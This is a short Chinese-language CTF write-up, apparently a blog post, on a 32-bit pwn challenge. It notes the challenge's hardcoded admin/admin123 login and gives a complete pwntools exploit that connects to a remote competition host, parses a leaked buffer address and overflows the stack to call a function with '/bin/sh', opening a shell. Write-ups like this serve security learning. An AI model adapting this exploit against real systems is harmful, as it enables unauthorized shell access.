可以发现是要进行一个验证,用户名admin,密码admin123
只需要在开头加就好了
p.sendlineafter(b'Enter your username: ', b'admin')
p.sendlineafter(b'Enter your password: ', b'admin123')
注意到read是一个可行的溢出点
这里可以看到command是参数,且位置是ebp+command,所以可以通过buf溢出修改返回地址的同时控制修改后的栈帧中栈顶+8的位置是"/bin/sh"字符串的地址。
from pwn import *
context.log_level = 'debug'
p = remote("0192d7ad7cf87ea0b328882eb3c99287.iey0.dg01.ciihw.cn", 46454)
# gift 函数的地址
command_addr = 0x080485FA
p.sendlineafter(b'Enter your username: ', b'admin')
p.sendlineafter(b'Enter your password: ', b'admin123')
sh = 0x0804A038
buf_addr = (p.recvuntil(b"plz input your msg:\n").split(b'\n')[1].split(b':\x20')[1]).decode()
buf_addr = int(buf_addr, 16)
payload = b'AAAA'*2+ p32(sh)*1+b'AAAA'*17 + p32(buf_addr) + p32(command_addr)
p.sendline(payload)
p.interactive()
发表评论